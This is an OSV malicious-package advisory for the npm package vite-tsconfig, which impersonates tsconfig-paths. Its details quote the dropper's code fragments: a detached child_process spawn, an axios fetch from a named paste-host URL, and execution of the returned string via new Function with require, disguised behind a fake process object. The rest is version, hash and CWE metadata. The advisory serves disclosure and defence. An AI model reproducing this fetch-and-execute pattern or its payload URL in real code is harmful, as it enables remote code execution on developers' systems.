MAL-2026-5576

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/vite-tsconfig/MAL-2026-5576.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5576
Published
2026-06-11T05:21:54Z
Modified
2026-06-12T20:01:58.011223305Z
Summary
Malicious code in vite-tsconfig (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (88e76d2cfe72140b4419a881bd3271d2fb1f246444a8418f6decfd81a76dd17c)

Package impersonates the popular tsconfig-paths library (description: 'Load node modules according to tsconfig paths') but ships a hidden remote-code-execution dropper. The exported configJson API in lib/index.js spawns lib/mapProps.js as a detached Node subprocess with child_process.spawn('node', [script,...], {detached:true, stdio:'ignore'}). mapProps.js performs axios.get('https://www.jsonkeeper.com/b/LVKHJ'), reads response.data.Cookie, and executes the returned string with new Function('require', s)(require) — opaque attacker-controlled JavaScript runs with full Node privileges and access to require. The fetch is retried up to 5 times. The dropper is disguised by a fake local process object shadowing Node's global (const process = { env: { DEV_API_KEY: 'https://www.jsonkeeper.com/b/LVKHJ', DEV_SECRET_KEY: 'x-secret-key', DEV_SECRET_VALUE: '_' } }) so the URL and header look like benign environment-variable lookups, and by reading the payload from a field named Cookie to mimic session handling. lib/register.js even prints 'vite-json will be skipped', revealing inconsistent internal naming. The fetch source jsonkeeper.com is an anonymous mutable paste host with no integrity verification, allowing the attacker to swap the executed payload at any time.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-11T05:41:11.175888394Z",
            "modified_time": "2026-06-11T05:21:54Z",
            "versions": [
                "1.1.0"
            ],
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-005599",
            "sha256": "142b4a600291ebf355bb7915c082c34b329e58026dc3c1f181a5b1865c16cff9"
        },
        {
            "import_time": "2026-06-12T19:43:38.888223317Z",
            "modified_time": "2026-06-12T19:03:03Z",
            "versions": [
                "1.1.3"
            ],
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-005839",
            "sha256": "75d47f96b6bb9c1d8c2ddfdf5ae6690d548ad7e02082b3fae8a34e839fe68541"
        },
        {
            "id": "IN-MAL-2026-005834",
            "modified_time": "2026-06-12T19:02:57Z",
            "versions": [
                "1.1.2"
            ],
            "source": "amazon-inspector",
            "import_time": "2026-06-12T19:43:38.324868664Z",
            "sha256": "88e76d2cfe72140b4419a881bd3271d2fb1f246444a8418f6decfd81a76dd17c"
        }
    ]
}
References
Credits

Affected packages

npm / vite-tsconfig

Package

Name
vite-tsconfig
View open source insights on deps.dev
Purl
pkg:npm/vite-tsconfig

Affected ranges

Affected versions

1.*
1.1.0
1.1.2
1.1.3

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/vite-tsconfig/MAL-2026-5576.json"
indicators 
{
    "evidence_files": [
        {
            "path": "lib/mapProps.js",
            "sha256": "c3c20201b376f76b2f4c08ed64da39f703448f318f584f358007591ad3f9bcd0",
            "tlsh": "1c21124f757ca0a8017013f5a72be426f965643f300290d5739cc7a21f3655da182fde"
        },
        {
            "path": "lib/config-loader.js",
            "sha256": "94c1ab6d8ceb818c37f7cd023dcbf42d4e0513874b9ec3306f1f3b7ad9625c81",
            "tlsh": "5d81435b6ad4a9e600b19b64d62bd016ff702f77230680a2793cd1d41f39844a1e6efa"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha1": "d47d8cc3c868762e31da685a407b3f3d3c94b2e8",
                "sha512_sri": "sha512-9KV5foA7sax35F5hcVBu8eAb5f1c+79CzQrV81Kktx7wrTF5Z7rOynTfHZf0T0Cb9qi9ghA9mr9AZwSLmNljWA=="
            },
            "filename": "vite-tsconfig-1.1.0.tgz"
        }
    ]
}